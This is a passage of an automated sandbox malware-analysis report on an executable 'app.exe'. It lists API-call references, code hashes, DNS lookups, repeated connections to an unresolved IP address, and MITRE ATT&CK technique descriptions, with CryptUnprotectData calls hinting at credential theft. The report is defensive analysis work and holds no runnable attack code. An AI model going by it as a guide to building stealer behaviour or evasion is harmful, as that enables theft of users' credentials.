HeapFree.KERNEL32(00000000,?), ref: 02582154
HeapFree.KERNEL32(00000000,?), ref: 02582187
CloseHandle.KERNEL32(?), ref: 0258219E

Part of subcall function 02582374: HeapFree.KERNEL32(00000000,?,?,?,0258C1F4), ref: 02582393

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID:
API String ID: 1910495013-0
Opcode ID: fafc8545d1e0ee592f43380223a977fae7ae16cc07f112644848093fc61ddf42
Instruction ID: 5cbc37786f8a37ec56f265d1c9d63e297cae17ed2af14f5f98659738aa527a5d
Opcode Fuzzy Hash: fafc8545d1e0ee592f43380223a977fae7ae16cc07f112644848093fc61ddf42
Instruction Fuzzy Hash: 04311C30545B81DEEB7AEB34D818BE7BFE17B12308F04081CD5EB955A0CBB42589CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 025856BF Relevance: 5.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 025857F5
HeapFree.KERNEL32(00000000), ref: 025858DF
HeapFree.KERNEL32(00000000,?), ref: 02585969
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 025860B5
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 025860D2
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 02586105
CloseHandle.KERNEL32(?), ref: 0258632F

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID:
API String ID: 1910495013-0
Opcode ID: 5693f169862e010611fd35ac66bcdcc814052ad508fc8a7f05ccf7671d51d12d
Instruction ID: 39a31294717058e13e0efd6edbbdf08f3aa36bbba553cba248ddbd69a504ffde
Opcode Fuzzy Hash: 5693f169862e010611fd35ac66bcdcc814052ad508fc8a7f05ccf7671d51d12d
Instruction Fuzzy Hash: 2F21E531544201DFDF25EF10D8887E97BA6BF80315F044479DD489F296CBB15895CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 02582062 Relevance: 5.1, APIs: 4, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 02582137
HeapFree.KERNEL32(00000000,?), ref: 02582154
HeapFree.KERNEL32(00000000,?), ref: 02582187
CloseHandle.KERNEL32(?), ref: 0258219E

Part of subcall function 02582374: HeapFree.KERNEL32(00000000,?,?,?,0258C1F4), ref: 02582393

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID:
API String ID: 1910495013-0
Opcode ID: 67268eaf495987e7ba767f0d0d0c0cbf8d97906f45aabd789f454e4b0b6f89e0
Instruction ID: fa192ef5c2b6e3388e7718a01416c6f6ddf5ac4b5795bf58c28442a66f451eba
Opcode Fuzzy Hash: 67268eaf495987e7ba767f0d0d0c0cbf8d97906f45aabd789f454e4b0b6f89e0
Instruction Fuzzy Hash: 62310C30145B80DEEB7AEB34D818BE7BFE17B52309F04081DD5EB955A1CBB42589DB0A

Uniqueness

Uniqueness Score: -1.00%

Function 0258203F Relevance: 5.1, APIs: 4, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0257C781: HeapFree.KERNEL32(00000000,?), ref: 0257D2DD
Part of subcall function 0257C781: HeapFree.KERNEL32(00000000,?), ref: 0257D32E

HeapFree.KERNEL32(00000000,?), ref: 02582137
HeapFree.KERNEL32(00000000,?), ref: 02582154
HeapFree.KERNEL32(00000000,?), ref: 02582187
CloseHandle.KERNEL32(?), ref: 0258219E

Part of subcall function 02582374: HeapFree.KERNEL32(00000000,?,?,?,0258C1F4), ref: 02582393

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID:
API String ID: 1910495013-0
Opcode ID: 9afb99f09c3f509f416d90dd15c3e6c2419dcd20711dc49ee022c4f6f9e5f32e
Instruction ID: 9186f917e0a980fb2710ee90d8c40cdbd956869edebc4a1216b1b03fd2c90749
Opcode Fuzzy Hash: 9afb99f09c3f509f416d90dd15c3e6c2419dcd20711dc49ee022c4f6f9e5f32e
Instruction Fuzzy Hash: AF310E30145B80DEEB79EB34D818BE7BFE17B52309F04081DD5EB955A1CBB42589DB0A

Uniqueness

Uniqueness Score: -1.00%

Function 0258206F Relevance: 5.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02582324: HeapFree.KERNEL32(00000000,?), ref: 0258234F
Part of subcall function 02582324: HeapFree.KERNEL32(00000000,?), ref: 0258236C

HeapFree.KERNEL32(00000000,?), ref: 02582137
HeapFree.KERNEL32(00000000,?), ref: 02582154
HeapFree.KERNEL32(00000000,?), ref: 02582187
CloseHandle.KERNEL32(?), ref: 0258219E

Part of subcall function 02582374: HeapFree.KERNEL32(00000000,?,?,?,0258C1F4), ref: 02582393

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID:
API String ID: 1910495013-0
Opcode ID: 438876fa6ef73cd743ee840f140a2b0e1e1e994d70930dabff6ca560a267e90b
Instruction ID: 55b76915917ac253f6071291f5f76a3257b0c684061ea12f845bf6376da65f98
Opcode Fuzzy Hash: 438876fa6ef73cd743ee840f140a2b0e1e1e994d70930dabff6ca560a267e90b
Instruction Fuzzy Hash: 1A310D30145B80DEEB7AEB34D818BE7BFE17B52309F04081CD5EB955A1CBB42589DB0A

Uniqueness

Uniqueness Score: -1.00%

Function 025D668F Relevance: 5.1, APIs: 4, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,00000000,?,00000000,?,025D0912), ref: 025D66D4

Part of subcall function 025D6BAA: HeapFree.KERNEL32(00000000,00000000,?,026133EC,025D7C1C,00000000,00000000,?,?,02611EE8,025D5C76), ref: 025D6BB8
Part of subcall function 025D6BAA: HeapFree.KERNEL32(00000000,?,?,026133EC,025D7C1C,00000000,00000000,?,?,02611EE8), ref: 025D6BD2

HeapFree.KERNEL32(00000000,?,00000000,?,00000000,?,025D0912), ref: 025D66F1
HeapFree.KERNEL32(00000000,?,00000000,?,00000000,?,025D0912), ref: 025D670E
HeapFree.KERNEL32(00000000,?,00000000,?,00000000,?,025D0912), ref: 025D675C

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7be8984d0ec79001886491a4c84d5c114a08d89aa9fbc90cfd84f27560782648
Instruction ID: bb7e988378dd78d18ce625cc6a753dffc295f55e92d069590a5ac78ea582d8ee
Opcode Fuzzy Hash: 7be8984d0ec79001886491a4c84d5c114a08d89aa9fbc90cfd84f27560782648
Instruction Fuzzy Hash: 35219331240605DBDB75AF28ED44FAABBAAFF40319F000919E15A471E0DB326857DF4C

Uniqueness

Uniqueness Score: -1.00%

Function 0258201D Relevance: 5.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0258224A: HeapFree.KERNEL32(00000000,?), ref: 025822AD
Part of subcall function 0258224A: HeapFree.KERNEL32(00000000,?), ref: 025822C7

HeapFree.KERNEL32(00000000,?), ref: 02582137
HeapFree.KERNEL32(00000000,?), ref: 02582154
HeapFree.KERNEL32(00000000,?), ref: 02582187
CloseHandle.KERNEL32(?), ref: 0258219E

Part of subcall function 02582374: HeapFree.KERNEL32(00000000,?,?,?,0258C1F4), ref: 02582393

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID:
API String ID: 1910495013-0
Opcode ID: b1324bc8af9e10365e0d5e1cf918145dd11e1c34f44c554d598f85362b70cbec
Instruction ID: 376c70b6105e3925f126d1a0cef656492d283a4c91e601d8c33d02eb12761b6f
Opcode Fuzzy Hash: b1324bc8af9e10365e0d5e1cf918145dd11e1c34f44c554d598f85362b70cbec
Instruction Fuzzy Hash: 5A312D30545B80DEEB79EB34D818BE7BFE17B12309F04081CD5EB961A0CBB42589DB0A

Uniqueness

Uniqueness Score: -1.00%

Function 0042B9F1 Relevance: 5.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0042BA4E
LeaveCriticalSection.KERNEL32(?,?), ref: 0042BA5E
LocalFree.KERNEL32(?), ref: 0042BA67
TlsSetValue.KERNEL32(?,00000000), ref: 0042BA79

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CriticalSection$EnterFreeLeaveLocalValue
String ID:
API String ID: 2949335588-0
Opcode ID: adc86d93950956f94ff1fa4b69a28a4dbd768d562191854466258b1d3a764b62
Instruction ID: c8599666faf44035fd4f326778121f3d69334d8a3193f5103dac8be459df7837
Opcode Fuzzy Hash: adc86d93950956f94ff1fa4b69a28a4dbd768d562191854466258b1d3a764b62
Instruction Fuzzy Hash: 3D116731700214EFD720CF54E884F6AB3B4FF05315F90802EE142876A1CB79AD51CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0258200F Relevance: 5.1, APIs: 4, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0257C781: HeapFree.KERNEL32(00000000,?), ref: 0257D2DD
Part of subcall function 0257C781: HeapFree.KERNEL32(00000000,?), ref: 0257D32E

HeapFree.KERNEL32(00000000,?), ref: 02582137
HeapFree.KERNEL32(00000000,?), ref: 02582154
HeapFree.KERNEL32(00000000,?), ref: 02582187
CloseHandle.KERNEL32(?), ref: 0258219E

Part of subcall function 02582374: HeapFree.KERNEL32(00000000,?,?,?,0258C1F4), ref: 02582393

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID:
API String ID: 1910495013-0
Opcode ID: acf7a76a67c92246053c7fa34209de7b344dd169bd0444def9d1b54931f4976f
Instruction ID: 2ba688e2f69652766064f3878a76fed544d766c2b1a62b7b33142b2cde6ba85e
Opcode Fuzzy Hash: acf7a76a67c92246053c7fa34209de7b344dd169bd0444def9d1b54931f4976f
Instruction Fuzzy Hash: 4B311E30145B80DEEB79EB34D818BE7BFE17B52309F04081CD5EB951A0CBB42599DB0A

Uniqueness

Uniqueness Score: -1.00%

Function 02582032 Relevance: 5.1, APIs: 4, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 02582137
HeapFree.KERNEL32(00000000,?), ref: 02582154
HeapFree.KERNEL32(00000000,?), ref: 02582187
CloseHandle.KERNEL32(?), ref: 0258219E

Part of subcall function 02582374: HeapFree.KERNEL32(00000000,?,?,?,0258C1F4), ref: 02582393

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID:
API String ID: 1910495013-0
Opcode ID: f904fb0a250f07bda3722f0cf0527b4e3d349375ce6e19615375a31447abc095
Instruction ID: 1dad0b2db8c0d6afd89c16604c39f2da8d9ba361d84d255df1a81c3abd56723a
Opcode Fuzzy Hash: f904fb0a250f07bda3722f0cf0527b4e3d349375ce6e19615375a31447abc095
Instruction Fuzzy Hash: D0311C30145B80DEEB7AEB34D818BE7BFE17B52309F04081CD5EB951A1CBB42599DB0A

Uniqueness

Uniqueness Score: -1.00%

Function 00418C51 Relevance: 5.1, APIs: 4, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,76170A60,00419242,76170A60,?,77D5FBD0), ref: 00418C78
HeapAlloc.KERNEL32(00000008,000041C4,00000000,76170A60,00419242,76170A60,?,77D5FBD0), ref: 00418CB1
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 00418CCF
HeapFree.KERNEL32(00000000,?), ref: 00418CE6

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 781063ac87fbfd1d4cad2045dae12bfd37df52046da3970f80f829b7a7e5edd2
Instruction ID: 00585c3f01842366698a5c53355d7c0cceb2ecdc2162a53b836031793970d5b4
Opcode Fuzzy Hash: 781063ac87fbfd1d4cad2045dae12bfd37df52046da3970f80f829b7a7e5edd2
Instruction Fuzzy Hash: E9116D742426029FDB718F28FC85D627BB6F7927607A4463EF252C21B0E7709846CF68

Uniqueness

Uniqueness Score: -1.00%

Function 025821B2 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 02582137
HeapFree.KERNEL32(00000000,?), ref: 02582154
HeapFree.KERNEL32(00000000,?), ref: 02582187
CloseHandle.KERNEL32(?), ref: 0258219E

Part of subcall function 02582374: HeapFree.KERNEL32(00000000,?,?,?,0258C1F4), ref: 02582393

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID:
API String ID: 1910495013-0
Opcode ID: 091f08f4e914af45332aeacaec53aa960662c8f353604cdbd1044a5cc967adfd
Instruction ID: e96f1bdd064c1773c8068a96364f5a95bed59fd1547a5ee151d8eb2685879632
Opcode Fuzzy Hash: 091f08f4e914af45332aeacaec53aa960662c8f353604cdbd1044a5cc967adfd
Instruction Fuzzy Hash: BA213B70145B80DFEB76AB30D808BE6BFA1BF11309F04081CD6DA965A0DBB52599DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0257D055 Relevance: 5.0, APIs: 4, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 0257D098
HeapFree.KERNEL32(00000000,?), ref: 0257D0B5
HeapFree.KERNEL32(00000000,?), ref: 0257D0FF
HeapFree.KERNEL32(00000000,?), ref: 0257D118

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 72b5fa6c86c356e7154a60258190070a36aef661695719103f4dbfa4692107a8
Instruction ID: 706b0cfbc7ff28a2cb7d53c613e15a357e0269a007d689ada88168af845d7102
Opcode Fuzzy Hash: 72b5fa6c86c356e7154a60258190070a36aef661695719103f4dbfa4692107a8
Instruction Fuzzy Hash: 17115431181A40DBDB759B24FD08BA6BBF2FF04309F140D1DE58A925A0DBB26495DF4D

Uniqueness

Uniqueness Score: -1.00%

Function 0042BD48 Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0044AF54,?,00000000,?,00000000,0042B7B5,00000010,?,?,00000000,?,?,0042B396,0042B349,00429E06,0040C70D), ref: 0042BD76
InitializeCriticalSection.KERNEL32(00000000,?,00000000,?,00000000,0042B7B5,00000010,?,?,00000000,?,?,0042B396,0042B349,00429E06,0040C70D), ref: 0042BD88
LeaveCriticalSection.KERNEL32(0044AF54,?,00000000,?,00000000,0042B7B5,00000010,?,?,00000000,?,?,0042B396,0042B349,00429E06,0040C70D), ref: 0042BD91
EnterCriticalSection.KERNEL32(00000000,00000000,?,00000000,0042B7B5,00000010,?,?,00000000,?,?,0042B396,0042B349,00429E06,0040C70D), ref: 0042BDA3

Part of subcall function 0042BCDF: InitializeCriticalSection.KERNEL32(0044AF54,0042BD56,0042B7B5,00000010,?,?,00000000,?,?,0042B396,0042B349,00429E06,0040C70D), ref: 0042BCF7

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CriticalSection$EnterInitialize$Leave
String ID:
API String ID: 713024617-0
Opcode ID: 2f1b24a4f239d3e7a57dd448b17dc9936c7578022bdd4031e6a5dfacb9bda7aa
Instruction ID: f612f0568f59398d43542fae4ddb9eea5b0bce547e4844d3ce0b5f2d18dd5514
Opcode Fuzzy Hash: 2f1b24a4f239d3e7a57dd448b17dc9936c7578022bdd4031e6a5dfacb9bda7aa
Instruction Fuzzy Hash: 10F06D7A11022AEFE7109F94FC84BA2B3ACFB11316FC0043BE50482011D738A869CAEC

Uniqueness

Uniqueness Score: -1.00%

Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025D04D0 TlsGetValue,TlsGetValue,TlsSetValue,BCryptGenRandom,TlsSetValue,HeapFree,TlsSetValue,	0_2_025D04D0
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025D04C0 TlsGetValue,TlsGetValue,TlsSetValue,BCryptGenRandom,	0_2_025D04C0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025A04D0 TlsGetValue,TlsGetValue,TlsSetValue,BCryptGenRandom,TlsSetValue,HeapFree,TlsSetValue,	3_2_025A04D0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0255EB69 HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,ReadFile,ReadFile,CloseHandle,HeapFree,HeapFree,ReadFile,ReadFile,CryptUnprotectData,CryptUnprotectData,HeapFree,CloseHandle,GetLastError,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,ReadFile,ReadFile,HeapFree,ReadFile,ReadFile,HeapFree,CloseHandle,GetLastError,HeapFree,HeapFree,CloseHandle,GetLastError,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,ReadFile,ReadFile,GetLastError,HeapFree,HeapFree,CloseHandle,GetLastError,HeapFree,HeapFree,HeapFree,HeapFree,	3_2_0255EB69
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025A04C0 TlsGetValue,TlsGetValue,TlsSetValue,BCryptGenRandom,	3_2_025A04C0

Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.127.230

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
